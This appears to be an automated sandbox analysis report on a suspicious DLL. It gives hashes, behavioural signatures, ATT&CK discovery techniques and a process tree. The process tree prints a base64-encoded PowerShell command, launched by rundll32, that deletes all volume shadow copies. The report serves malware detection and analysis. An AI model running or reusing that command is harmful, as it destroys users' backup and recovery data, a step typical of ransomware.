Analysis

  • max time kernel
    137s
  • max time network
    183s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    31-05-2022 06:03

General

  • Target

    06704bd07416c61583ad5929b39329a6d90c7299e64bb107c37973ed393df762.dll

  • Size

    164KB

  • MD5

    ecf7748fac09f62da5e16cbc0956f973

  • SHA1

    8ddff0ed4213273006943ab911a0358c6ca87d7f

  • SHA256

    06704bd07416c61583ad5929b39329a6d90c7299e64bb107c37973ed393df762

  • SHA512

    5b4396d10d4c25865f7b54b594ae5879ad86d36d80a15084ab9691c7f82314bf5c0200a1e2d8355aaf69a5a952d735f939508aaae3aa2ad66d623028673921b6

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\06704bd07416c61583ad5929b39329a6d90c7299e64bb107c37973ed393df762.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4044
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\06704bd07416c61583ad5929b39329a6d90c7299e64bb107c37973ed393df762.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2028
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4020
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:4424
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4432

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    1
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2028-130-0x0000000000000000-mapping.dmp
    • memory/4020-131-0x0000000000000000-mapping.dmp
    • memory/4020-132-0x000001F25F640000-0x000001F25F662000-memory.dmp
      Filesize

      136KB

    • memory/4020-133-0x00007FF94E510000-0x00007FF94EFD1000-memory.dmp
      Filesize

      10.8MB

    • memory/4020-134-0x00007FF94E510000-0x00007FF94EFD1000-memory.dmp
      Filesize

      10.8MB